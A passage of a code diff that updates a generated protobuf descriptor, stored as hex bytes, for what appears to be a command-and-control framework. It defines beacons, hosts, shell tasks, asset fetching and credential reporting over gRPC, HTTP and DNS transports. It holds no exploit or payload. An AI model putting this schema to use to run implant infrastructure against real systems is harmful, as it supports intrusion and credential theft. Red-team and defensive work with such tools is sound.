0x0f, - 0x65, 0x78, 0x65, 0x63, 0x5f, 0x73, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x61, 0x74, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x52, 0x06, 0x6a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x22, 0x88, 0x01, 0x0a, 0x04, 0x54, 0x79, 0x70, + 0x65, 0x12, 0x19, 0x0a, 0x15, 0x54, 0x52, 0x41, 0x4e, 0x53, 0x50, 0x4f, 0x52, 0x54, 0x5f, 0x55, + 0x4e, 0x53, 0x50, 0x45, 0x43, 0x49, 0x46, 0x49, 0x45, 0x44, 0x10, 0x00, 0x12, 0x12, 0x0a, 0x0e, + 0x54, 0x52, 0x41, 0x4e, 0x53, 0x50, 0x4f, 0x52, 0x54, 0x5f, 0x47, 0x52, 0x50, 0x43, 0x10, 0x01, + 0x12, 0x13, 0x0a, 0x0f, 0x54, 0x52, 0x41, 0x4e, 0x53, 0x50, 0x4f, 0x52, 0x54, 0x5f, 0x48, 0x54, + 0x54, 0x50, 0x31, 0x10, 0x02, 0x12, 0x11, 0x0a, 0x0d, 0x54, 0x52, 0x41, 0x4e, 0x53, 0x50, 0x4f, + 0x52, 0x54, 0x5f, 0x44, 0x4e, 0x53, 0x10, 0x03, 0x12, 0x11, 0x0a, 0x0d, 0x54, 0x52, 0x41, 0x4e, + 0x53, 0x50, 0x4f, 0x52, 0x54, 0x5f, 0x55, 0x44, 0x53, 0x10, 0x04, 0x12, 0x16, 0x0a, 0x12, 0x54, + 0x52, 0x41, 0x4e, 0x53, 0x50, 0x4f, 0x52, 0x54, 0x5f, 0x54, 0x43, 0x50, 0x5f, 0x42, 0x49, 0x4e, + 0x44, 0x10, 0x05, 0x22, 0x67, 0x0a, 0x13, 0x41, 0x76, 0x61, 0x69, 0x6c, 0x61, 0x62, 0x6c, 0x65, + 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x12, 0x2d, 0x0a, 0x0a, 0x74, 0x72, + 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0d, + 0x2e, 0x63, 0x32, 0x2e, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x52, 0x0a, 0x74, + 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x12, 0x21, 0x0a, 0x0c, 0x61, 0x63, 0x74, + 0x69, 0x76, 0x65, 0x5f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x0b, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x22, 0xd1, 0x01, 0x0a, + 0x06, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x69, 0x64, 0x65, 0x6e, 0x74, + 0x69, 0x66, 0x69, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x69, 0x64, 0x65, + 0x6e, 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x12, 0x1c, 0x0a, 0x09, 0x70, 0x72, 0x69, 0x6e, 0x63, + 0x69, 0x70, 0x61, 0x6c, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x70, 0x72, 0x69, 0x6e, + 0x63, 0x69, 0x70, 0x61, 0x6c, 0x12, 0x1c, 0x0a, 0x04, 0x68, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x08, 0x2e, 0x63, 0x32, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x52, 0x04, 0x68, + 0x6f, 0x73, 0x74, 0x12, 0x1f, 0x0a, 0x05, 0x61, 0x67, 0x65, 0x6e, 0x74, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x09, 0x2e, 0x63, 0x32, 0x2e, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x52, 0x05, 0x61, + 0x67, 0x65, 0x6e, 0x74, 0x12, 0x4a, 0x0a, 0x14, 0x61, 0x76, 0x61, 0x69, 0x6c, 0x61, 0x62, 0x6c, + 0x65, 0x5f, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x32, 0x2e, 0x41, 0x76, 0x61, 0x69, 0x6c, 0x61, 0x62, 0x6c, + 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x52, 0x13, 0x61, 0x76, 0x61, + 0x69, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x73, + 0x22, 0xfe, 0x01, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x69, 0x64, 0x65, + 0x6e, 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x69, + 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2d, 0x0a, + 0x08, 0x70, 0x6c, 0x61, 0x74, 0x66, 0x6f, 0x72, 0x6d, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, + 0x11, 0x2e, 0x63, 0x32, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x2e, 0x50, 0x6c, 0x61, 0x74, 0x66, 0x6f, + 0x72, 0x6d, 0x52, 0x08, 0x70, 0x6c, 0x61, 0x74, 0x66, 0x6f, 0x72, 0x6d, 0x12, 0x1d, 0x0a, 0x0a, + 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x5f, 0x69, 0x70, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x09, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x49, 0x70, 0x22, 0x74, 0x0a, 0x08, 0x50, + 0x6c, 0x61, 0x74, 0x66, 0x6f, 0x72, 0x6d, 0x12, 0x18, 0x0a, 0x14, 0x50, 0x4c, 0x41, 0x54, 0x46, + 0x4f, 0x52, 0x4d, 0x5f, 0x55, 0x4e, 0x53, 0x50, 0x45, 0x43, 0x49, 0x46, 0x49, 0x45, 0x44, 0x10, + 0x00, 0x12, 0x14, 0x0a, 0x10, 0x50, 0x4c, 0x41, 0x54, 0x46, 0x4f, 0x52, 0x4d, 0x5f, 0x57, 0x49, + 0x4e, 0x44, 0x4f, 0x57, 0x53, 0x10, 0x01, 0x12, 0x12, 0x0a, 0x0e, 0x50, 0x4c, 0x41, 0x54, 0x46, + 0x4f, 0x52, 0x4d, 0x5f, 0x4c, 0x49, 0x4e, 0x55, 0x58, 0x10, 0x02, 0x12, 0x12, 0x0a, 0x0e, 0x50, + 0x4c, 0x41, 0x54, 0x46, 0x4f, 0x52, 0x4d, 0x5f, 0x4d, 0x41, 0x43, 0x4f, 0x53, 0x10, 0x03, 0x12, + 0x10, 0x0a, 0x0c, 0x50, 0x4c, 0x41, 0x54, 0x46, 0x4f, 0x52, 0x4d, 0x5f, 0x42, 0x53, 0x44, 0x10, + 0x04, 0x22, 0x6b, 0x0a, 0x04, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x69, 0x64, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x02, 0x69, 0x64, 0x12, 0x22, 0x0a, 0x04, 0x74, 0x6f, 0x6d, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x65, 0x6c, 0x64, 0x72, 0x69, 0x74, + 0x63, 0x68, 0x2e, 0x54, 0x6f, 0x6d, 0x65, 0x52, 0x04, 0x74, 0x6f, 0x6d, 0x65, 0x12, 0x1d, 0x0a, + 0x0a, 0x71, 0x75, 0x65, 0x73, 0x74, 0x5f, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x09, 0x71, 0x75, 0x65, 0x73, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x10, 0x0a, 0x03, + 0x6a, 0x77, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6a, 0x77, 0x74, 0x22, 0x9c, + 0x01, 0x0a, 0x09, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x0e, 0x0a, 0x02, + 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x02, 0x69, 0x64, 0x12, 0x14, 0x0a, 0x05, + 0x69, 0x6e, 0x70, 0x75, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x69, 0x6e, 0x70, + 0x75, 0x74, 0x12, 0x19, 0x0a, 0x08, 0x73, 0x68, 0x65, 0x6c, 0x6c, 0x5f, 0x69, 0x64, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x03, 0x52, 0x07, 0x73, 0x68, 0x65, 0x6c, 0x6c, 0x49, 0x64, 0x12, 0x1f, 0x0a, + 0x0b, 0x73, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x65, 0x5f, 0x69, 0x64, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x04, 0x52, 0x0a, 0x73, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x65, 0x49, 0x64, 0x12, 0x1b, + 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x5f, 0x69, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x08, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x49, 0x64, 0x12, 0x10, 0x0a, 0x03, 0x6a, + 0x77, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6a, 0x77, 0x74, 0x22, 0x1d, 0x0a, + 0x09, 0x54, 0x61, 0x73, 0x6b, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x12, 0x10, 0x0a, 0x03, 0x6d, 0x73, + 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6d, 0x73, 0x67, 0x22, 0xe3, 0x01, 0x0a, + 0x0a, 0x54, 0x61, 0x73, 0x6b, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x69, + 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x02, 0x69, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x6f, + 0x75, 0x74, 0x70, 0x75, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x6f, 0x75, 0x74, + 0x70, 0x75, 0x74, 0x12, 0x23, 0x0a, 0x05, 0x65, 0x72, 0x72, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x32, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x45, 0x72, 0x72, 0x6f, + 0x72, 0x52, 0x05, 0x65, 0x72, 0x72, 0x6f, 0x72, 0x12, 0x42, 0x0a, 0x0f, 0x65, 0x78, 0x65, 0x63, + 0x5f, 0x73, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x61, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x54, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x52, 0x0d, 0x65, + 0x78, 0x65, 0x63, 0x53, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x44, 0x0a, 0x10, + 0x65, 0x78, 0x65, 0x63, 0x5f, 0x66, 0x69, 0x6e, 0x69, 0x73, 0x68, 0x65, 0x64, 0x5f, 0x61, 0x74, + 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x54, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, + 0x6d, 0x70, 0x52, 0x0e, 0x65, 0x78, 0x65, 0x63, 0x46, 0x69, 0x6e, 0x69, 0x73, 0x68, 0x65, 0x64, + 0x41, 0x74, 0x22, 0x22, 0x0a, 0x0e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x54, 0x61, 0x73, 0x6b, 0x45, + 0x72, 0x72, 0x6f, 0x72, 0x12, 0x10, 0x0a, 0x03, 0x6d, 0x73, 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x03, 0x6d, 0x73, 0x67, 0x22, 0xe8, 0x01, 0x0a, 0x0f, 0x53, 0x68, 0x65, 0x6c, 0x6c, + 0x54, 0x61, 0x73, 0x6b, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x69, 0x64, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x02, 0x69, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x6f, 0x75, + 0x74, 0x70, 0x75, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x6f, 0x75, 0x74, 0x70, + 0x75, 0x74, 0x12, 0x23, 0x0a, 0x05, 0x65, 0x72, 0x72, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x32, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x45, 0x72, 0x72, 0x6f, 0x72, + 0x52, 0x05, 0x65, 0x72, 0x72, 0x6f, 0x72, 0x12, 0x42, 0x0a, 0x0f, 0x65, 0x78, 0x65, 0x63, 0x5f, + 0x73, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x61, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x54, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x52, 0x0d, 0x65, 0x78, + 0x65, 0x63, 0x53, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x44, 0x0a, 0x10, 0x65, + 0x78, 0x65, 0x63, 0x5f, 0x66, 0x69, 0x6e, 0x69, 0x73, 0x68, 0x65, 0x64, 0x5f, 0x61, 0x74, 0x18, + 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x54, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, - 0x70, 0x52, 0x0d, 0x65, 0x78, 0x65, 0x63, 0x53, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, - 0x12, 0x44, 0x0a, 0x10, 0x65, 0x78, 0x65, 0x63, 0x5f, 0x66, 0x69, 0x6e, 0x69, 0x73, 0x68, 0x65, - 0x64, 0x5f, 0x61, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x54, 0x69, 0x6d, - 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x52, 0x0e, 0x65, 0x78, 0x65, 0x63, 0x46, 0x69, 0x6e, 0x69, - 0x73, 0x68, 0x65, 0x64, 0x41, 0x74, 0x22, 0x22, 0x0a, 0x0e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x54, - 0x61, 0x73, 0x6b, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x12, 0x10, 0x0a, 0x03, 0x6d, 0x73, 0x67, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6d, 0x73, 0x67, 0x22, 0xe8, 0x01, 0x0a, 0x0f, 0x53, - 0x68, 0x65, 0x6c, 0x6c, 0x54, 0x61, 0x73, 0x6b, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x12, 0x0e, - 0x0a, 0x02, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x02, 0x69, 0x64, 0x12, 0x16, - 0x0a, 0x06, 0x6f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, - 0x6f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x12, 0x23, 0x0a, 0x05, 0x65, 0x72, 0x72, 0x6f, 0x72, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x32, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x45, - 0x72, 0x72, 0x6f, 0x72, 0x52, 0x05, 0x65, 0x72, 0x72, 0x6f, 0x72, 0x12, 0x42, 0x0a, 0x0f, 0x65, - 0x78, 0x65, 0x63, 0x5f, 0x73, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x61, 0x74, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x54, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, - 0x52, 0x0d, 0x65, 0x78, 0x65, 0x63, 0x53, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, - 0x44, 0x0a, 0x10, 0x65, 0x78, 0x65, 0x63, 0x5f, 0x66, 0x69, 0x6e, 0x69, 0x73, 0x68, 0x65, 0x64, - 0x5f, 0x61, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, - 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x54, 0x69, 0x6d, 0x65, - 0x73, 0x74, 0x61, 0x6d, 0x70, 0x52, 0x0e, 0x65, 0x78, 0x65, 0x63, 0x46, 0x69, 0x6e, 0x69, 0x73, - 0x68, 0x65, 0x64, 0x41, 0x74, 0x22, 0x38, 0x0a, 0x0b, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, - 0x74, 0x65, 0x78, 0x74, 0x12, 0x17, 0x0a, 0x07, 0x74, 0x61, 0x73, 0x6b, 0x5f, 0x69, 0x64, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x74, 0x61, 0x73, 0x6b, 0x49, 0x64, 0x12, 0x10, 0x0a, - 0x03, 0x6a, 0x77, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6a, 0x77, 0x74, 0x22, - 0x48, 0x0a, 0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, - 0x65, 0x78, 0x74, 0x12, 0x22, 0x0a, 0x0d, 0x73, 0x68, 0x65, 0x6c, 0x6c, 0x5f, 0x74, 0x61, 0x73, - 0x6b, 0x5f, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x73, 0x68, 0x65, 0x6c, - 0x6c, 0x54, 0x61, 0x73, 0x6b, 0x49, 0x64, 0x12, 0x10, 0x0a, 0x03, 0x6a, 0x77, 0x74, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6a, 0x77, 0x74, 0x22, 0x37, 0x0a, 0x11, 0x43, 0x6c, 0x61, - 0x69, 0x6d, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, - 0x0a, 0x06, 0x62, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0a, - 0x2e, 0x63, 0x32, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x52, 0x06, 0x62, 0x65, 0x61, 0x63, - 0x6f, 0x6e, 0x22, 0x64, 0x0a, 0x12, 0x43, 0x6c, 0x61, 0x69, 0x6d, 0x54, 0x61, 0x73, 0x6b, 0x73, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1e, 0x0a, 0x05, 0x74, 0x61, 0x73, 0x6b, - 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x08, 0x2e, 0x63, 0x32, 0x2e, 0x54, 0x61, 0x73, - 0x6b, 0x52, 0x05, 0x74, 0x61, 0x73, 0x6b, 0x73, 0x12, 0x2e, 0x0a, 0x0b, 0x73, 0x68, 0x65, 0x6c, - 0x6c, 0x5f, 0x74, 0x61, 0x73, 0x6b, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0d, 0x2e, - 0x63, 0x32, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x54, 0x61, 0x73, 0x6b, 0x52, 0x0a, 0x73, 0x68, - 0x65, 0x6c, 0x6c, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x22, 0xae, 0x01, 0x0a, 0x11, 0x46, 0x65, 0x74, - 0x63, 0x68, 0x41, 0x73, 0x73, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x34, - 0x0a, 0x0c, 0x74, 0x61, 0x73, 0x6b, 0x5f, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0f, 0x2e, 0x63, 0x32, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, - 0x6e, 0x74, 0x65, 0x78, 0x74, 0x48, 0x00, 0x52, 0x0b, 0x74, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, - 0x74, 0x65, 0x78, 0x74, 0x12, 0x44, 0x0a, 0x12, 0x73, 0x68, 0x65, 0x6c, 0x6c, 0x5f, 0x74, 0x61, - 0x73, 0x6b, 0x5f, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x14, 0x2e, 0x63, 0x32, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x54, 0x61, 0x73, 0x6b, 0x43, - 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x48, 0x00, 0x52, 0x10, 0x73, 0x68, 0x65, 0x6c, 0x6c, 0x54, - 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, - 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x42, 0x09, - 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x22, 0x2a, 0x0a, 0x12, 0x46, 0x65, 0x74, - 0x63, 0x68, 0x41, 0x73, 0x73, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, - 0x14, 0x0a, 0x05, 0x63, 0x68, 0x75, 0x6e, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, - 0x63, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0xd6, 0x01, 0x0a, 0x17, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, - 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x70, 0x52, 0x0e, 0x65, 0x78, 0x65, 0x63, 0x46, 0x69, 0x6e, 0x69, 0x73, 0x68, 0x65, 0x64, 0x41, + 0x74, 0x22, 0x38, 0x0a, 0x0b, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, + 0x12, 0x17, 0x0a, 0x07, 0x74, 0x61, 0x73, 0x6b, 0x5f, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x03, 0x52, 0x06, 0x74, 0x61, 0x73, 0x6b, 0x49, 0x64, 0x12, 0x10, 0x0a, 0x03, 0x6a, 0x77, 0x74, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6a, 0x77, 0x74, 0x22, 0x48, 0x0a, 0x10, 0x53, + 0x68, 0x65, 0x6c, 0x6c, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x12, + 0x22, 0x0a, 0x0d, 0x73, 0x68, 0x65, 0x6c, 0x6c, 0x5f, 0x74, 0x61, 0x73, 0x6b, 0x5f, 0x69, 0x64, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x73, 0x68, 0x65, 0x6c, 0x6c, 0x54, 0x61, 0x73, + 0x6b, 0x49, 0x64, 0x12, 0x10, 0x0a, 0x03, 0x6a, 0x77, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x03, 0x6a, 0x77, 0x74, 0x22, 0x37, 0x0a, 0x11, 0x43, 0x6c, 0x61, 0x69, 0x6d, 0x54, 0x61, + 0x73, 0x6b, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x06, 0x62, 0x65, + 0x61, 0x63, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0a, 0x2e, 0x63, 0x32, 0x2e, + 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x52, 0x06, 0x62, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x22, 0x64, + 0x0a, 0x12, 0x43, 0x6c, 0x61, 0x69, 0x6d, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1e, 0x0a, 0x05, 0x74, 0x61, 0x73, 0x6b, 0x73, 0x18, 0x01, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x08, 0x2e, 0x63, 0x32, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x52, 0x05, 0x74, + 0x61, 0x73, 0x6b, 0x73, 0x12, 0x2e, 0x0a, 0x0b, 0x73, 0x68, 0x65, 0x6c, 0x6c, 0x5f, 0x74, 0x61, + 0x73, 0x6b, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x32, 0x2e, 0x53, + 0x68, 0x65, 0x6c, 0x6c, 0x54, 0x61, 0x73, 0x6b, 0x52, 0x0a, 0x73, 0x68, 0x65, 0x6c, 0x6c, 0x54, + 0x61, 0x73, 0x6b, 0x73, 0x22, 0xae, 0x01, 0x0a, 0x11, 0x46, 0x65, 0x74, 0x63, 0x68, 0x41, 0x73, + 0x73, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x34, 0x0a, 0x0c, 0x74, 0x61, + 0x73, 0x6b, 0x5f, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x0f, 0x2e, 0x63, 0x32, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, + 0x74, 0x48, 0x00, 0x52, 0x0b, 0x74, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, + 0x12, 0x44, 0x0a, 0x12, 0x73, 0x68, 0x65, 